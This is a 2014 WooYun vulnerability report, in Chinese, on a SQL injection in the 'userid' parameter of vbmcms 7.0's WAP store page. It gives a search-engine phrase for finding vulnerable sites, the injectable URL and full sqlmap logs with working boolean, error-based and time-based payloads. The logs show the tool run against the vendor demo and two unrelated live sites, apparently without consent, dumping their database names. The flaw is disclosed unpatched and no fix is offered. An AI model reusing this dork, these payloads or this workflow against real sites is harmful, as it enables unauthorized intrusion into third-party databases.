当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061820

漏洞标题:vbmcms 7.0一处sql注入(单城市版,演示站点中招)

相关厂商:VBMCMS

漏洞作者: Mosuan

提交时间:2014-05-26 11:46

修复时间:2014-08-24 11:48

公开时间:2014-08-24 11:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-08-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

呵呵

详细说明:

在演示站点发现的,google测试几个站都存在注入
关键词

Powered by vbmcms 7.0


搜索到网站之后去掉路径然后加上wap/index.php?mod=store&userid=chunmiao
例如:http://www.0370edu.com/wap/index.php?mod=store&userid=chunmiao
演示站点注入:

http://demo.vbmcms.com/wap/index.php?mod=store&userid=chunmiao


注入地址:http://demo.vbmcms.com/wap/index.php?mod=store&userid=chunmiao
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:08:15
[01:08:15] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\demo.vbmcms.com\session' as session file
[01:08:15] [INFO] testing connection to the target url
[01:08:16] [INFO] testing if the url is stable, wait a few seconds
[01:08:18] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[01:08:19] [INFO] testing if GET parameter 'mod' is dynamic
[01:08:20] [INFO] confirming that GET parameter 'mod' is dynamic
[01:08:20] [INFO] GET parameter 'mod' is dynamic
[01:08:21] [WARNING] heuristic test shows that GET parameter 'mod' might not be
injectable
[01:08:21] [INFO] testing sql injection on GET parameter 'mod'
[01:08:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:08:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:08:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:08:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:08:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[01:08:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:08:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:08:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:08:34] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:08:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:08:36] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:08:37] [INFO] testing 'Oracle AND time-based blind'
[01:08:39] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:08:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:08:53] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[01:09:09] [WARNING] GET parameter 'mod' is not injectable
[01:09:09] [INFO] testing if GET parameter 'userid' is dynamic
[01:09:12] [INFO] confirming that GET parameter 'userid' is dynamic
[01:09:12] [INFO] GET parameter 'userid' is dynamic
[01:09:12] [INFO] heuristic test shows that GET parameter 'userid' might be inje
ctable (possible DBMS: MySQL)
[01:09:12] [INFO] testing sql injection on GET parameter 'userid'
[01:09:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:09:16] [INFO] GET parameter 'userid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[01:09:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:09:16] [INFO] GET parameter 'userid' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[01:09:16] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:09:17] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:09:27] [INFO] GET parameter 'userid' is 'MySQL > 5.0.11 AND time-based blind
' injectable
[01:09:27] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:09:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'userid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 178 HTTP(s) req
uests:
---
Place: GET
Parameter: userid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mod=store&userid=chunmiao' AND 2708=2708 AND 'BXnD'='BXnD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: mod=store&userid=chunmiao' AND (SELECT 9533 FROM(SELECT COUNT(*),CO
NCAT(0x3a7270673a,(SELECT (CASE WHEN (9533=9533) THEN 1 ELSE 0 END)),0x3a796c733
a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'g
LEB'='gLEB
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: mod=store&userid=chunmiao' AND SLEEP(5) AND 'AJYF'='AJYF
---
[01:09:54] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, PHP 5.2.13
back-end DBMS: MySQL 5.0
[01:09:54] [INFO] fetching database names
[01:09:54] [INFO] the SQL query used returns 16 entries
[01:09:55] [INFO] retrieved: information_schema
[01:09:55] [INFO] retrieved: demo_mymps_com_cn
[01:09:55] [INFO] retrieved: ganjin
[01:09:56] [INFO] retrieved: mymps_4
[01:09:56] [INFO] retrieved: mymps_4is
[01:09:56] [INFO] retrieved: mymps_5
[01:09:56] [INFO] retrieved: mymps_51
[01:09:57] [INFO] retrieved: mymps_cities
[01:09:57] [INFO] retrieved: mysql
[01:09:57] [INFO] retrieved: qinyang
[01:09:57] [INFO] retrieved: vbmcms_7
[01:09:58] [INFO] retrieved: vbmcms_7s
[01:09:58] [INFO] retrieved: www_mayicms_com
[01:09:58] [INFO] retrieved: www_yetaihei_com
[01:09:58] [INFO] retrieved: xinjiangso
[01:09:59] [INFO] retrieved: zzsso
available databases [16]:
[*] demo_mymps_com_cn
[*] ganjin
[*] information_schema
[*] mymps_4
[*] mymps_4is
[*] mymps_5
[*] mymps_51
[*] mymps_cities
[*] mysql
[*] qinyang
[*] vbmcms_7
[*] vbmcms_7s
[*] www_mayicms_com
[*] www_yetaihei_com
[*] xinjiangso
[*] zzsso
[01:09:59] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\demo.vbmcms.com'
[*] shutting down at 01:09:59


随便测试两个站点

http://edu.t56.net/wap/index.php?mod=store&userid=chunmiao


注入地址:http://edu.t56.net/wap/index.php?mod=store&userid=chunmiao
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:26:41
[01:26:41] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\edu.t56.net\session' as session file
[01:26:41] [INFO] testing connection to the target url
[01:26:42] [INFO] testing if the url is stable, wait a few seconds
[01:26:43] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[01:26:44] [INFO] testing if GET parameter 'mod' is dynamic
[01:26:45] [INFO] confirming that GET parameter 'mod' is dynamic
[01:26:45] [INFO] GET parameter 'mod' is dynamic
[01:26:45] [WARNING] heuristic test shows that GET parameter 'mod' might not be
injectable
[01:26:45] [INFO] testing sql injection on GET parameter 'mod'
[01:26:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:26:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:26:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:26:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:26:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[01:26:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:26:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:26:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:26:50] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:26:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:26:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:26:52] [INFO] testing 'Oracle AND time-based blind'
[01:26:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:27:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:27:00] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[01:27:06] [WARNING] GET parameter 'mod' is not injectable
[01:27:06] [INFO] testing if GET parameter 'userid' is dynamic
[01:27:06] [WARNING] GET parameter 'userid' appears to be not dynamic
[01:27:06] [INFO] heuristic test shows that GET parameter 'userid' might be inje
ctable (possible DBMS: MySQL)
[01:27:06] [INFO] testing sql injection on GET parameter 'userid'
[01:27:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:27:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:27:08] [INFO] GET parameter 'userid' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[01:27:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:27:08] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:27:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:27:08] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:27:09] [INFO] target url appears to have 44 columns in query
[01:27:28] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:27:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'userid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 345 HTTP(s) req
uests:
---
Place: GET
Parameter: userid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: mod=store&userid=chunmiao' AND (SELECT 5734 FROM(SELECT COUNT(*),CO
NCAT(0x3a686b683a,(SELECT (CASE WHEN (5734=5734) THEN 1 ELSE 0 END)),0x3a706b6a3
a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'w
yem'='wyem
---
[01:27:51] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0
[01:27:51] [INFO] fetching database names
[01:27:51] [INFO] the SQL query used returns 2 entries
[01:27:51] [INFO] retrieved: information_schema
[01:27:52] [INFO] retrieved: educms
available databases [2]:
[*] educms
[*] information_schema
[01:27:52] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\edu.t56.net'
[*] shutting down at 01:27:52


http://www.0370edu.com/wap/index.php?mod=store&userid=chunmiao


注入地址:http://www.0370edu.com/wap/index.php?mod=store&userid=chunmiao
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:28:04
[01:28:04] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.0370edu.com\session' as session file
[01:28:04] [INFO] testing connection to the target url
[01:28:05] [INFO] testing if the url is stable, wait a few seconds
[01:28:06] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[01:30:42] [INFO] testing if GET parameter 'mod' is dynamic
[01:30:43] [INFO] confirming that GET parameter 'mod' is dynamic
[01:30:43] [INFO] GET parameter 'mod' is dynamic
[01:30:44] [WARNING] heuristic test shows that GET parameter 'mod' might not be
injectable
[01:30:44] [INFO] testing sql injection on GET parameter 'mod'
[01:30:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:30:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:30:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:30:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:30:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[01:30:56] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:30:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:30:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:31:02] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:31:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:31:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:31:07] [INFO] testing 'Oracle AND time-based blind'
[01:31:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:31:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:31:40] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[01:32:00] [WARNING] GET parameter 'mod' is not injectable
[01:32:00] [INFO] testing if GET parameter 'userid' is dynamic
[01:32:01] [WARNING] GET parameter 'userid' appears to be not dynamic
[01:32:01] [INFO] heuristic test shows that GET parameter 'userid' might be inje
ctable (possible DBMS: MySQL)
[01:32:01] [INFO] testing sql injection on GET parameter 'userid'
[01:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:32:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[01:32:04] [INFO] GET parameter 'userid' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[01:32:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:32:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:32:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:32:07] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:32:09] [INFO] target url appears to have 44 columns in query
[01:32:40] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:32:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'userid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 345 HTTP(s) req
uests:
---
Place: GET
Parameter: userid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: mod=store&userid=chunmiao' AND (SELECT 6636 FROM(SELECT COUNT(*),CO
NCAT(0x3a6468703a,(SELECT (CASE WHEN (6636=6636) THEN 1 ELSE 0 END)),0x3a726f763
a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'W
ywP'='WywP
---
[01:35:52] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.9
back-end DBMS: MySQL 5.0
[01:35:52] [INFO] fetching database names
[01:35:53] [INFO] the SQL query used returns 2 entries
[01:35:53] [INFO] retrieved: information_schema
[01:35:53] [INFO] retrieved: edu0370
available databases [2]:
[*] edu0370
[*] information_schema
[01:35:53] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.0370edu.com'
[*] shutting down at 01:35:53

漏洞证明:

详细说明,大半夜还在挖洞的孩子你们伤不起!!求rank,前面的漏洞求审核!

修复方案:

你们懂的额!1

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝